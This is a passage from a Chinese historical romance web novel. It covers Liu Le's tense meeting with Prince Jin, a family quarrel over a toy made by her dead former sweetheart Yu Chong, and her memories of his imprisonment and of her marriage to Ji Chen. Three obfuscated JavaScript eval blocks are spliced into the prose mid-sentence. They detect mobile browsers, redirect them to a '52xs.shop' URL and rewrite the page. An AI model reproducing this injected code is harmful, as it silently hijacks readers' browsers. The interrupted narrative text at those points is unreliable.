“自然了,殿下的声誉要紧。”柳乐忍不住出言嘲讽。 “我不要紧,是为你考虑,你不担心计员外郎知道了发怒?” “我一点儿也不担心。”柳乐恨恨地说。 “是他不会发怒,还是你不怕?” 柳乐不想答,可晋王的眼睛紧紧随着她,难以甩脱。“他不会。”她不情愿地吐出三个字。 那双眼睛一闪一闪地闪出笑。不能说这笑不怀好意,但他的话实在难听:“这大概就是我的小人之心与计员外郎君子之腹区别所在:反正若我有个美貌妻子,偏被计员外郎叫到跟前说个没完,我是一定生气的。” “殿下多虑了,”柳乐庄重道,“计员外郎哪怕犯一百种过错,也绝不会戏人妻女。” “原来他是个板正的人。”晋王惊奇地看一眼她,大感意外似的,“这么说你们二人是受媒人撮合、奉父母之命成婚——既然你不是他言语‘戏’来的?” “那是我和他的家事。”柳乐一肚子火,简直要从头顶冒出烟来。 “再不然——如你所说,他有‘为民之志’,讨了你的喜欢?” 柳乐缄口不语。 晋王又盯她看了片刻:“不管哪样,我倒要为你惋惜了,你应该嫁个更有趣的人:又会让你怨,又会让你笑,哪怕你心里恨着他,不见时却又想得不得了,因为他也是同一般想着你,因为不管他是不是胸怀大志,不管他心中装多少样东西,放在头一位的,惟有你一个。” 柳乐站在那儿,怒目对着晋王,好像他是个累世的仇人。 晋王默然低下脑袋,过了好大一会儿才说:“焉知你和计员外郎不是如此,我对你们二人又晓得什么呢?” 说完抬起头,眉宇间笼了一层落寞的神情:“讲了许多得罪的话,太对不住你,因为我难得碰上个有趣的、可以聊天解闷的人。” 柳乐紧紧闭着嘴巴。她不会把他的话放在心上,也就无所谓他的道歉了。 “你看今日这场宴会怎么样?” 柳乐依然不回答。 “我知道,你肯定觉得金玉其外,无趣其中,没意思透了,对吧?哪里比得上与三五至交,不拘坐在何处一同畅谈的快活?——只要是真正的朋友。” 晋王来回踱着步,每走到柳乐跟前,就停下与她说一句。 “你大概体会过那种感觉,我看得出。而我在这里,别说朋友了,除了那么一两个人,连我的名字都没人叫。——所以我盼着,或许改日你会问问我的名字。” “什么王孙贵胄,外人看着光鲜,其实也不得畅快,真想有个人陪我一道遭罪才好。” “咱们大概还会见面。何必不肯说话,生气还是厌烦了?若生气,倒好些,我不能怪你。” 这套装可怜的把戏对柳乐也没用,她一句话都不接,任他在那儿自言自语。 “人来了。”晋王向远处望一眼,忽地把满面愁容改作冷峻之色。 果然,一个身着赭红衣服的小太监急匆匆向这边赶来。 柳乐看他走到近前,看他躬身,口呼“殿下”,将一只托盘高举至晋王面前。——紫红的檀木盘子正中,放着一枚翠色扳指,碧莹莹,水汪汪的。 晋王把它拿起来,在手中把玩了一会儿。 柳乐突然发现他肤色很白:若比象牙,略清冷些,比霜雪,则要柔和细腻许多,又带着些许久居室内、少见阳光的苍白— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没,可能太后叫她到跟前去了。”计晴闷闷道。 “肯定是,她是谢家二房的,论起来是太后的亲侄女,更不同了。她姐姐是堂侄女,太后还那样喜欢呢。”高娴说。 “她姐姐就是谢二姑娘?”柳乐问。 “可不。”高娴解释,“他们家怪着呢:虽说人口多姑娘多,可是只有太太生的、外加天资又极好的姑娘,在及笄时长辈才给个大名,其余的都是三娘四娘胡乱叫着,外头人也不太知道。每一辈里面,至多有两三个尖子能脱出来,这一辈是二姑娘和五姑娘,上一辈是太后和先前那位贵妃。晋王爷和谢家姑娘怎么算,都是亲表兄妹。” 柳乐皱起眉头。 “不过现今谢家姑娘无论如何不能再入宫了,朝臣们该有话说了,所以太后就一心想要把……”高娴瞅瞅计晴,停住嘴,问柳乐,“黄御史和他夫人今日去了没有?” “我听见黄御史去了,他夫人不晓得。”柳乐答。她知道谢二姑娘是嫁给了都御史。“是续弦,御史大人都快成老头子了。”当时计晴如是说。 “我估计她也不去,你想,她毕竟和……碰上了多尴尬。”高娴点着头。 柳乐不答,她没心思讨论晋王的过往。若能说出自己见到了晋王,发现他的人品着实令人无法恭维,她还能痛快点儿。但转念一想,董素娥听见,定会数落她对王爷不敬,遂作罢。没两日,她便将此事丢至脑后了。 5. 竹马和贼人 且说柳乐嫁入计家不觉已有半年,虽丈夫不在家,但公婆慈爱宽厚,妯娌相谦相让,姑嫂间更是亲密,一家子过得颇和顺。尽管如此,柳乐依然常常想起做姑娘时,在爹娘膝下承欢、与姊妹嬉闹玩耍的时日。 这天,她又思想起家人,因向董素娥说:“母亲,家里若无事,明日我想去看看我爹娘。” “可不是该去瞧瞧。”董素娥答应了,沉吟一会儿,又说,“我也久不见亲家了,正想着挑个日子拜访,不若明日我们就一起去,省得套两趟车。” 柳乐心中老大不乐意,她原本是要回家自在一日,与家人好好说说话,这一来,变得像寻常亲戚间人情走动,还有什么意思。可她知道婆母定下的事情不喜别人去驳,一时也想不出反对的道理,只得点头说好。 董素娥便笑道:“还有几家子人要请,又有几家客要拜,一堆事情等着,我也耽搁不了太久。这两日还该把衣裳拿出来晒晒,十五日去寺里还愿,许下的经还没有抄完,不过那些有你嫂子忙也就够了,你就在那边多待一晚,我也不使车子接你,催你回来似的。你上午自己雇辆车,消消停停回来便了。”柳乐听了,心内才又慢慢高兴起来。 第二日一大早,柳乐先打发自己的丫环巧莺回去报信,准备停当,又等着董素娥收拾好了,才出门上车,往柳家驶来。 柳家得了信,早早在门口候着了,董素娥一到,忙让进屋,入堂屋坐下。柳乐的兄长柳图和妹妹柳词都上来拜见,寒暄毕,柳乐的母亲江岚就与董素娥慢慢说起话来,柳乐和嫂子严华在旁作陪。 江岚今日穿着件缃色绸子衫儿,不怎样华丽,却显得十分端雅大方。柳乐立即看出她是为亲家会面着意打扮了一番,怀着女儿对母亲的爱意,快活地想:“娘可真美啊。” 她不自觉要将母亲与婆母作比,两人都肖虎,同岁,可是这时坐在一处,怎么看都是母亲显着年轻一轮。 不知道董素娥自己是不是也觉出来了,虽谈着亲热的话,却挂上了一副漠然的表情。 柳乐知道缘故:董素娥新近在脸上发现了几道皱纹,急忙要补救,总是尽量避免发笑或蹙眉;平板着一张脸就是显得很不自然,而且像是不高兴。等会儿私下里要向母亲解释一下婆婆面色阴晴不定的原因,不然母亲要误会是她作媳妇儿没作好,惹得婆婆不满呢。柳乐想着,又从侧面偷偷看了董素娥几眼,不知怎的突然想笑,又觉得不好,忙装出副一本正经的样子。这下不是正像婆母了?柳乐差点儿笑出声,赶快把胡思乱想打发掉,专心听她们谈话。 两人不过闲聊些家务事,董素娥问:“你那两个孙儿多大了,上学堂不曾?” 江岚答:“大的十岁,小的不满八岁,才刚刚开始念书,还是他们祖父教着认几个字。” 董素娥道:“我怎么忘了,你家里就是学堂。两个小学童在不在家,让我也见一见。” “顽皮得很,怕亲家太太笑话。”江岚谦虚了几句,便让严华去领兄弟俩。 柳乐这两个侄儿,大的名柳升,是个稳重孩子,很有几分长孙的样子,老二名柳岸,正是像猴儿一般的年纪,跟着哥哥规规矩矩问了好,立即就抱着柳乐大姑姑长大姑姑短叫个不住。 董素娥十分喜欢,对哥哥夸赞不绝,又拉过弟弟摩挲了一会儿,拿出备好的表礼分送哥儿俩,向江岚道:“亲家母,你有福气,便是有一万桩不足,有这两个孙儿每天看着,也就足了。” 江岚笑道:“家里有几个小孩子,要不像他两个这么烦人,是能解解闷儿。你那两个小孙女,可更好了。” 董素娥叹口气:“我那大媳妇身子娇气,当初有个小子没养下来,我是日夜着急,也只得两个丫头。”她瞅一眼严华,说,“看你这两个大小子,长得多么好,胳膊腿多么壮实。当初生他们,可是用了什么法儿?” 柳乐一听这话,登时飞红了脸,坐也不是走也不是。 严华忙笑道:“碰上什么是什么罢了。小人家胡乱长,哪里比得了尊府上的金枝玉叶。太太家里大奶奶是尊贵人,将来两个大姐儿都是千金小姐的体统,我们还羡慕不来。” “可不是这么说,到底家里得有哥儿才像个样,将来指着谁养老送终呢。” 江岚劝道:“亲家太太有两个好儿子,何愁没有福享。儿孙的事情操心它作甚。” 董素娥脸也不板了,笑得露出牙:“说起来我两个儿子,不是我自夸,倒也还算好。特别是老二,又孝顺又能干。先前多少人家有结亲之意,他只不应,唯独对你们姑娘另眼相看。等他这次从荥阳回来,看他们得个孩儿,我就真正心满意足了。”一面说一面笑呵呵看着柳乐。 柳乐垂下头,正自难受,幸亏柳岸好容易见到姑妈,一心要黏住不放,见过人后被带出去了,仍又溜进屋,恰听见这一句话,因抬脸问柳乐:“姑父多久回来,他好久不来了。” 柳乐庆幸侄儿来解围,忙说:“姑父出门去办差,过一阵便回,等他见了你还要考你功课,我看看你最近学了什么,别到时候让姑父问住。” 她本要拉着柳岸一同出去,谁知柳岸喜欢凑热闹,又被董素娥夸奖,越发要在她跟前卖弄,马上说:“我去拿来。”咚咚咚地跑了。 转眼他抱了只小箱子来,取出一卷纸,打开都是批满红圈的字:“祖父说我写得好。” 江岚和严华都笑骂:“夸你几句尾巴就翘上天了。” 董素娥逗他:“你和哥哥谁写得更好?” 柳岸拧起小眉头,心内斗争了一番,还是老实地答:“哥哥比我写得好。” “老二机灵,等你再长几岁,有哥哥那么大就更出息了。我看看你箱子里还有什么。” 柳岸急忙又往外掏,无非是学诗时乱诌的几行、几笔涂鸦的画作,等等。 江岚与董素娥虽做了亲家,各人却有各人的结交,两边都认识的只家里这几口人,说完了便没甚可说的,正好借着小孩子满嘴叽里呱啦,倒显得谈话热闹,所以大家都看柳岸献宝。 他从箱底翻出个玩具,是小孩子们爱耍的竹节人,两个人扯着线可以打斗,是常见的玩意,可柳乐一见就变了脸色。 董素娥拿起在手里拽了一拽,啧啧称奇:“我记得先前他们小时也玩过这样东西,倒没有骑马拿枪的。” 这个竹节人的确与众不同:他还骑着一匹竹节马,马头马腿亦可用线绳操控,小人手里还有一杆木头削的长枪,枪头却是铁制,打得锃亮。 柳岸一挺胸,大声说:“这是禹大叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648599|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我做的赵子龙,从来没斗败过,这个哥哥比不过我。” 江岚、严华先时还没太在意,一听这话,脸也变了,忙都看柳乐。江岚说:“出去罢。”严华要拉柳岸走。董素娥一时还没转过来,仍问他:“是雨大叔,不是风大叔啊?想得倒巧,你也和他学着,自己做一个。” “是禹大叔!治水的大禹那个禹,他……他……”柳岸嘴里吭哧几句,忽然喊叫,“他是姑父的好朋友。” “哦。”董素娥把竹人向旁边一掷,慢慢坐直身子,“你姑父可没有这位朋友。” 柳岸以为董素娥不知道,圆睁着眼睛,诚恳地说:“他真的是。等姑父回来你问他。” 柳升跑进来,江岚忙喝柳岸:“和你哥哥出去玩吧。” 柳岸正喜有人作证,拉住哥哥说:“姑父和禹大叔最要好,对吧?” 柳升伸手偷偷扯他一把,向他努嘴儿示意。柳岸不高兴了:“你们都忘了禹大叔!先前你还最喜欢他来家里呢,他可会玩了,每次都给我们带新鲜玩意儿。” 柳家人都知禹冲和柳乐曾互相钟情,他获罪后,两人断了关系,从此全家上下对禹冲这个名字避而不提,那时柳岸才四五岁,谁能想到,他还记得当时的事,还藏着禹冲做的玩具。 严华使劲向外拉他:“咱们外头玩去,省得你在这里扰人。” “我知道,你们不让提禹大叔,是怕大姑姑伤心。大姑姑现在有了姑父,不会伤心了。”柳岸一壁说着,一壁挣开母亲,回头来捡他的竹节将军。 虽是孩子话,董素娥也听得明白,正因是孩子话,更没有假。她震惊地剜柳乐一眼,重重哼道:“你还是别留着了,这东西不好,什么禹大叔,犯过案的贼人!” 柳岸小脸涨得通红,“禹大叔不是坏人,我要留着,要留着!”一径跑出门。 柳图赶过来——柳乐是特意选了哥哥的休沐日回家——他刚才问过好便走开了,这时候听见叫嚷,三两步上前,高举起胳膊,并未落下,却吓得孩子呆住。柳图抢去玩具,“行了,留什么留,玩物丧志!” 柳乐早忍不住,跟出屋子,一把从他手里夺回来,“哥哥你干嘛,他又没有做错。”递还给柳岸,故意大声说,让屋内的人全听得见,“禹大叔已经不在了,你喜欢他,愿意记着他,证明你是个重情义的好孩子。你哥哥也没忘了,他只是记在心里不说出来,有些人就是这样。——走,你给我演一演,要怎么玩?” 柳乐自管带着两个侄儿玩去,这边柳图急忙给董素娥赔不是,只检讨自己疏于管教、致小儿目无尊长之过。童言无忌,董素娥不好显出当真大惊小怪,亦说了几句客气话。江岚心疼女儿,觉得实在毋需理亏,便不多解释,忙吩咐摆饭。 饭桌上,各人都搜肠刮肚寻些话谈笑,将事情胡乱混过去了。饭毕喝完茶,董素娥便起身告辞。 柳乐本想在家呆一晚,但这一来,恰似心虚,又像与婆婆赌气一般,被母亲悄悄推了一把,只好上来,和董素娥一道告别离开。 在车内坐好后,董素娥对丫环说:“你们自己雇车回去。”柳乐便向巧莺点点头,在婆母对面小心坐下。两人皆闷声不语。 柳乐看董素娥神情,知她还有话,静静等着她发问。 6. 诀别与木屋 计晨曾说过:“我娘不知道你和禹冲的事,我没对她讲,倒不是因为其它——原本她也看重禹冲,后来听见他犯案,心里便不大喜欢,那都是她老人家的偏见,但我一时纠不过。万一哪天她提到禹冲,说的话不好听,看我的份上,你千万忍耐担待些,待我回来再慢慢对她说。” 走了一段路程,外头人声喧闹起来,董素娥清清嗓子,“你和那个禹什么——晨儿知不知道?” 柳乐抬起头,迎着董素娥的目光,“我和禹公子——晨大哥知道,他们刚一起读书时就是好友。” 董素娥大约没料到她这样坦然,愣了半晌方说:“晨儿就是耳根子太软,别人哄两句,他就真信。不过同窗了几日,哪里扯得上什么朋友情谊。” 柳乐没接话,董素娥又气哼哼道:“当初就该请西席来家教授功课。去学堂,谁知一起念书的是什么人?一个不慎,结交上那些行止不端的,保不齐就被带坏了。多亏晨儿还洁身自好。” 柳乐气得手脚发冷,却不知如何替禹冲辩白,他到底是有罪。 董素娥叹气:“唉,晨儿也是,你和人有过婚约怎能瞒住不提?虽说姓禹的本人死了,若他家里谁来寻事可怎生好?” “不会。” “对了,我想起来了。他原本就没爹妈——走得早也是福气,好过被他活活气死。他家里人好像是都死绝了吧?” 董素娥一向势利,对地位不如己的人很不客气,训斥人时也常忘记委婉,这些柳乐全知道,可平日里再难听的话和这比起来根本不算什么。柳乐恨得嘴巴发苦,艰难道:“禹公子自小就和姑母姑父生活,他们是很好的人家,也很可怜。他的姑母待我就像亲生女儿一样,她绝不会……” 禹冲获流刑后,她的姑母在家中自缢了。柳乐竭力止住哽咽,良久才能开口:“没有禀明母亲,是我的过错。并非故意隐瞒,晨大哥不说,是因为我和禹公子没有立过正式婚约。” “你们是私定终身?”董素娥目瞪口呆。 柳乐别开脸,咬住唇,算是默认了。她和禹冲私底下也没有明说过,不过没必要向董素娥解释。婚约、海誓山盟,有什么要紧?虽无确切言辞,那时,他们彼此确实是一心一意地以为非对方不娶,非对方不嫁。 “哎呀,你不会也吃他哄了?还说他不会哄人!”董素娥跌足拍膝,长吁短叹道,“我看你本是个明白人,怎么突然这样不懂事理?可不是我说的,择友最要紧,姑娘家就更不必说了。爷们行错了还有补救,姑娘错了救都救不回来!像晨儿结交的那些朋友,人家帮过他忙,晨儿想致谢,我就跟他说:‘你请他上外面吃酒,足见出诚心了,不必请人家上家里来,你妹妹还在家呢。’一般念过书的人都懂得避嫌疑,知道别人家有没出门的姑娘,不会随便到别人家去。那禹……公子我记得来过一两回,还好,没让他看见晴儿。我也从来都对晴儿讲:不可轻易见外男,女孩儿家,经不起行差一步。千金小姐千金小姐,哪里价值千金——是你的清白名声!不光是你,还关乎你一家的家声门风。——像你家里开馆,进进出出都是小伙子,随便和他们厮混,让人怎么看你柳家?” 柳乐猛地扭过脸,沉声说:“我不是什么大家千金,但道理我还懂——我和晨大哥一样,都是由我父亲从小教导的。我从没做过不清不白的事,更没有随便和人厮混,叫旁人议论,令家人蒙羞。我对晨大哥没有半分隐瞒,要是我知道自己有一点儿行为不端正,配不上晨大哥,我都不会答应嫁给他。” “小点儿声,回去慢慢说,叫人听见!”董素娥急得来拦柳乐,但柳乐已经说完了,只胸中还鼓着气发不出来。 默了半晌,董素娥说:“是晨儿配不上你,你这样的媳妇,我们家不敢要。” 柳乐想回一句,到了口边又硬生生憋住了。婆母既已把话说到这份上,她走开就是,还有什么好再驳再辩? 两人在车内僵坐片时,到了计家门前。柳乐等董素娥先下了车,自己跟在后面。 大概听见了车马的动静,计晴欢快地迎出来,也没发觉二人的异常。“娘,二嫂,哥哥来信了。他就要回家了,现在正在路上!” “二嫂,这是给你的。” 柳乐眼中还噙着泪,也没看清计晴递来个什么,就一把抓在手里,直冲进自己的屋子。 如今她才醒悟,嫁给计晨实在是错了。 她永远记得立誓永不嫁人的一日。那天,她去监牢探视。那是禹冲下狱后她第一次去看他,也是此生最后一次见到他。 她披着哥哥的斗蓬,脑袋兜在风帽中。斗篷又宽又大,不单让人看不见她的模样,还遮住了她浑身的颤抖。牢里很暗,禹冲坐在黑秃秃一张炕上,她看不清他的脸,也说不出一句话。 是禹冲先开口,他低下头说:“你做的香囊,进来时被搜走,不知哪里去了。你的书信,我藏在家里一个地方,第一天便让丁冒烧净了,没落到别人手里,你放心。” “你干嘛说这些?”她颤声问。 “我做了很对不住你的事。” “你做了什么?”她的两只手在身两侧抓着斗篷,紧紧攥住。 “他们说的那些。” “他们说……你和那位姑娘……” “是,不用说了。”禹冲急忙打断,头更低地垂在胸前。“我不是个好人,你是个好姑娘。幸亏不曾定亲,你还可以……你一定会碰到一位淑人君子、才貌仙郎,以后好好的,别记着我了。” 她的胸中一瞬间溢满了对他的恨意。他会为自己做的事受惩罚,甚至可能是很重的,但那些不算,他对不住她!她要质问他,要骂他,可是有什么用?她心底的恨不能平。 “就当和你没相识过!”她突然上前,朝他脸上狠狠打了一掌,打得手心火辣辣的,但也并没有痛快一点。 禹冲像块石头一样,一动不动。 “你说句话啊,是不是死了,再不,变成一块石头了?”她哭着喊叫,想看看他脸上是不是有羞愧和痛悔,却看不清。原来她根本一步未挪,嘴巴也没有张开。自她进了这间牢屋,就一直站在门前,那里不知有样什么东西,在她背后格楞楞直响,硌得她生疼。她还是想掴他一巴掌,不可遏制,但是太远了,她没有力气走过去。 禹冲这时抬起头,把脸转向她,透过泪光,她仿佛看见他凄惨地笑着。“这里不是好地方,你快走吧。” 她已经忘了那天是怎么回到家的。一到家,就把禹冲给她的东西——他亲手做的木头房屋连同几封信——统统烧了。 直到如今,禹冲送她那只木屋的情形还历历在目: 她的家人都熟悉禹冲,深知他是个嵚崎磊落的少年,每回他来访叙过话,其余人便各干各事去了,留禹冲和她自在谈天。那天只剩二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648600|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人时,禹冲打开随身一件包袱说:“我做了一样小玩意给你玩。”说着,他捧出一样东西,托于手掌上,递到她面前。 他手上是用木条搭就的一间屋舍,她惊奇地接过来,端在手中细看。小屋子挺重,打磨得光油油的,涂了朱色大漆,除了玲珑许多,外形与一般住宅并无二致——门、窗、廊、檐,乃至屋脊上的小兽,一应俱全。 “你打开看看。” “哪儿打开?” 从她手上,禹冲轻轻一拉将窗户拉起来,它就支在那儿了,里面又还有一层窗格,是要糊窗纱的地方,这里没有窗纱,眼睛可以透过去看。“你来开门。”禹冲说。 她伸出一根手指,稍稍用力一推,两扇门向内打开——真想变作个小人儿走进去瞧一瞧。 她这才往里面看,里头也是个房间样子,家具全部榫接在地板上,不会摇晃出来。屋内摆着一桌一几,一对椅子,一对柜子,还有一只床——围栏上的镂空花纹都看得清楚明了,可想而知做成要花费多么大的心思。瞧见时她的脸狠狠地红了,把东西往禹冲怀里一推,“做什么不好,做这种惹人笑的玩意儿。” “你不喜欢住这种屋子?”禹冲大惊小怪道,“那你喜欢住哪儿——在嫁我之后。” 他前头的话有意拖长了声音,她赌气着急地回答:“住山洞!”说完才听见后面轻快的一句。 “好,咱们就住山洞。”禹冲笑眯眯地说。 她登时羞恼交集,“谁说过要嫁你?”头一甩就要走。 禹冲跨一步拦住:“谁也没说过,不嫁不嫁。”赔着小心,又把木头房屋塞给她,“你拿着,也可以当个盒子使。等收到我的信,你就放进这儿。” 她又急着走开,又要抽手,又怕真的摔坏了,听到这话,立住,暂且忘了别的,“你要出门去了?” 禹冲点点头。 禹冲的姑父是个工匠,常在各地做些工程,同时寻找多年前意外失散的女儿;姑父离世后,禹冲算是承继了衣钵,亦需常常出门,一为赚钱来养活姑母,二为继续寻找表妹。——这是她早就知道的,只是两人互明心迹后,这还是第一次别离。 “明日走?”她问,不等答话,又说,“去便去,用得着写什么信?” “也是,我写也写不好,不写了。但是你得给我写。” “你不写,还想让我写,做梦!” 那日禹冲出门时,又回头向她一笑:“我一定写信。” 她把木屋放在妆台上,别人都知道那是她的宝贝,谁也不敢去碰。本来也能作个首饰匣子,可她什么都不舍得往里放,只有每次收到禹冲的信,读完便将信纸折成小小一块,打开门,塞进去。 所以销毁也方便,连看都不用看,整个屋子搬起来一股脑投入灶膛了事。 那天晚上,她在母亲怀里哭着说:“我不会嫁人,娘,我一直陪着你。” 妹妹柳词在一旁听见,扑来抱住她:“我也不要嫁人,我要陪姐姐。” 江岚一手搂住一个:“好,不嫁就不嫁。你们哥哥都已经说了,没人能配上他妹妹。他拍着胸脯说的:‘我在一日,一日不少妹妹们吃穿,柳家也是有模有样的人家,还能盛不下两位姑奶奶?’” 三个人都含着泪笑了。笑归笑,她知道自己说的并非玩话,她是铁了心不要嫁人的。可后来,到底是为何没能坚持呢? 7. 孤坟和订婚 那年十月,禹冲被押解离京时,计晨已授了工部主事,公务繁重之余,他还常常抽空来家探望。她很感激计晨能来陪陪父亲,因父亲的话越来越少,而她这个作女儿的,心如死灰一般,很难强作欢容,陪伴双亲说笑解闷儿。可是那天——是过了一年半还是一年?记不清了,反正是阴惨惨的一天,计晨来时,父亲还在午睡。计晨敲她屋门说:“不敢打扰,但有一事相告,若姑娘方便,还请移步前院说话。” 她把计晨让进屋:“晨大哥进来坐吧,今日下值早?” 计晨坐下也未开口,只把一纸书札推至她面前。她看了一阵才明白,是从禹冲服刑地发来的公函,函上写着:罪囚禹冲,于某年月日卒于某地,系患病身亡,已葬于某处,其家人见文即付银三十两为殡葬之资。 原来那次真的就是最后一次看见他,可惜没好好瞧瞧他的脸。不,有什么可惜,他那副样子还会好看吗?那么,再上一回见他是什么时候,他是什么样子?想不起了。想不起也好,我已经忘了。她想。 良久,计晨叹气道:“禹冲兄弟家人都不在了,那时我留了我的姓名好通消息,今日他们送来这个。我给了差人六十两,让他们回去立块碑,逢节祭奠,我知道未必真能使在这上头,可我还能如何,不过略尽尽我的心罢了。”说罢流下泪来。 如今他身在何处?荒野中的孤坟! 她连一滴眼泪都没有。只记得计晨劝了一些话,她似听非听,最后,计晨说:“姑娘不要憋着,哭出来吧,你这样,我于心何忍?” “我父亲知道没有?” 计晨面容惨白,摇头说:“我还不敢告诉老师。” “对,先别告诉他。” 不知该做什么,她说:“我去看看,茶怎么还没煮好。”刚一站起,便一事不知了。 醒来时,她是坐在椅上,但半个身子都倚着计晨。他慌忙站开说:“姑娘先坐着别动,觉得如何?” “没事,刚才是起来急了发晕,别告诉人,怕大家都知道了。” “刚才一时情急,冒犯了姑娘。我……” “没关系,晨大哥。”她摆手说,“你我都不用放在心上。咱们不是自小就相厚?你就像我哥哥一般。” “是。” 两人默默地又呆了一会儿,她站起身说:“我好多了,晨大哥,谢谢你来告诉我。” “今天不打扰老师了,请姑娘代问老师安康。姑娘也要多多开怀为是,我改日再来,到时能再瞧瞧姑娘?” 她一点头:“晨大哥放心,我一定保重自个儿。” 走到屋门口,计晨忽然转过身,红了脸,望着她:“你把我当作兄长,可我并不像你一样坦荡。柳姑娘,我知道你忘不掉禹冲兄弟,所以我一直藏着心事。我原想等他回来,你们能够和好如初,那我再别无它愿了。可如今,我不能再瞒你——我大胆说一句罢:看姑娘这样,我心里刀割一般。” 于难过中,她还是感到惊讶,惊讶得不知该说什么,又怕自己是想错了——希望自己是想错了。若换任何一个人在这时候说这种话,她都会不胜厌烦,可是对计晨,她只是从心底里为他难过,也为自己难过。“晨大哥,我不知你……” “姑娘当然不会想到。”计晨微笑着,缓缓摇了摇头。 她的心在冰冷的水中越沉越深,似乎已经麻木了,不然她就会拦住计晨不让他说。 “我知道姑娘不愿听,今日也不是时候,可是,允我说完罢。若是禹冲兄弟在,我一个字都不会讲,但我不是不恨着自己;如今若我还不承认,我就是天底下头一号虚伪小人,懦夫,可怜虫。我已经恨了自己好久……” 好些话,她现在记不清了,大意是他很早前就喜欢她,甚至时常嫉妒禹冲,为此他又责骂自己,禹冲获刑后,他尤其内疚,觉得自己没能对朋友尽力。最后,他说:“总有一日我会在禹冲兄弟坟前请罪。今日我告诉姑娘,我想他泉下能听得见,我不求他原谅我——我们一世相交,是我愧对他。但若姑娘肯原谅我,我多少能……我还是太自私,只想着让自己好过些。姑娘不必开口,我这就走了。” 她说:“你不用愧对他,也没有需要我原谅的地方。可是我不会嫁人,我已经立志要一个人……” 计晨急忙说:“姑娘莫如此想,我不是要姑娘一定嫁我,但姑娘何必这样耽搁自己,禹冲兄弟泉下也不会心安的。” “我不是因为他!”她厉声说。 她不想嫁人,大家便当她是为禹冲守贞么,何其可笑!她不为禹冲,是为了——为了世上没有一个人让她喜欢得要嫁他。可如此说,那不还是为禹冲?若为他,可他并不爱她呀。 她脑中迷迷乱乱,只听计晨道:“对不住,我不该说这话。姑娘有姑娘的志向,我有我的。我的心意不会变。我不求其它,只要姑娘允我常来看看姑娘就行。” 她当时太难受了,找不出话来,只得讲些客套之语:“晨大哥青目,当我是个朋友,这是我的福气,只是对晨大哥无益。我不过一个无甚见识的小女子罢了,而晨大哥少年才俊,前程万里,何样的好姻缘寻不到?”她想起禹冲在牢中对她说了类似的话,这种话果然说起来轻松!她把对禹冲的恨移了部分到计晨身上:恨他是禹冲的朋友,恨他能不怨禹冲,恨他带来这个消息。带着快意,她又加上一句,“难道晨大哥还能一辈子不娶?” “我不能。”计晨苦笑着说,“不管我心意如何,终有一日我要娶亲。父母养育恩重,我不能违拗他们的意思。他们愿意我娶哪位姑娘,任她是何等样人,我娶就是,亦不会有负于她。——正是如此,等我有了妻儿,自然以他们为念,不敢再为姑娘你挂怀,所以姑娘不必把我刚才那些话太过当真。我说出来,一是为了当着姑娘,向禹冲之亡魂坦白,二也是为了让自己死心。从今往后,我以家人、以衙门事务为重,至于我自己,怎样都行。” 怎样都行!正是这句话打动了她。 望着计晨亲切的面容,她惭愧无地。她立的那叫什么志——自己蹉跎年华也罢了,又害多少人为她忧心?父母的恩情,本已报不了万一,何忍使他们更添烦恼?还有一直默默关心她的晨大哥——世间悲苦之人甚众,又何必再多一人难受? 其实,对计晨的情意,她绝非无动于衷。与计晨,不敢说自幼相知,也算相识多年了,甚至在年少时、在心悦禹冲前,她看计晨更觉亲切些。虽说她一向如敬重兄长般敬重计晨,可是婚姻不正要二人你敬我我敬你?或许她更爱禹冲那样的英锐少年,可单凭喜爱靠不住,她不是已尝过一次苦头了?她和计晨,未始不能白首到老。 心中已转过这些念头,她便不肯再惺惺作态:“晨大哥看我很可笑吧——我自以为明白,其实不及晨大哥一毫。我也愿有晨大哥的勇敢和坦率,若晨大哥还不当我是无可救药,若肯教导我……” “柳姑娘!”计晨激动地上前一步,又连忙后退,“我不是要逼姑娘答应,你不用这样匆忙。我改日再来,姑娘若是——” 计晨以为她还会反悔?他不明白,尽管是仓促间的决定,她的决定不会变的。她实在无力多说,把计晨送到门边,“你改日再来。今日先别说——什么都别对我爹说,再等等,就把这些一齐告诉他罢。”这时候,她终于落下眼泪。 那日往后,计晨来家比先前更勤了一些。有时她出来,与他说上几句话,有时两人见也不见。不管怎样,计晨始终没开口催促过,便是有片刻独处,他也一字不提成亲的事。禹冲身故的消息没瞒太久,几个月后,大家都知晓了。她担心父亲受不住,父亲却更担心她,于是,她便拉出计晨来使父亲安心。看得出,全家人对这件事都感到欢喜,可欢喜中又含着忐忑,仿佛婚事一日未办,中间便可能出什么变故似的。 她不忍令家人烦愁,不忍辜负计晨的心意,最重要的是,她想忘掉过去,抽胎换骨。 和禹冲在牢狱见那一面差不多整两年后,她请计晨过来一趟,话不必说出口,计晨全明白了。不几日,计家差了媒人来,转过年,刚出正月,她嫁与计晨,成了他的妻子。 ——所有这些,岂非全是她一个人的过错? 柳乐扎在床上哭了一会儿,起来整好衣服,打湿手帕擦了擦脸,匀了面,正要去见董素娥,忽听外面有人说话。 